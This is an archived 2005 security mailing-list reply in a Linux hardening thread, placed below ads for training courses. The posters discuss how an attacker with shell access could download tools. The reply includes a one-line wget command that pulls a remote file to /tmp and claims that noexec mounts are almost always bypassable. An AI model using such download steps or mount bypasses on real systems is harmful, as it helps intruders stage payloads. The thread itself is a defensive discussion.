Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | Re: Re[4]: Linux hardening |
|---|---|
| Date: | Tue, 30 Aug 2005 19:35:02 +0100 |
On Tue, 2005-08-30 at 09:51 +0400, Kir wrote:
What do you mean? Curl prints to STDOUT. If someone manages to exec a shell, couldn't he just redirect the curl output to /tmp as he desires?Anyway, it seems to me it'd be more effective to make sure he cannot execute whatever it is he downloaded; the noexec flag and GRSec's TPE would probably both be useful for that.
noexec is almost always bypassable.
Or did I misunderstand you?You misunderstood. Method above was meant to be used with wget, that dumps received file into file.
Exactly the same applies: wget http://some.host/path -O - > /tmp/foo Cheers, Adam
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | Re: Linux hardening, Ulisses Reina Montenegro |
|---|---|
| Next by Date: | RE: linux password cracking tools, Morgan Marquis-Boire |
| Previous by Thread: | Re: Linux hardening, Ulisses Reina Montenegro |
| Next by Thread: | Re: Linux hardening, Sean Finkel |
| Indexes: | [Date] [Thread] [Top] [All Lists] |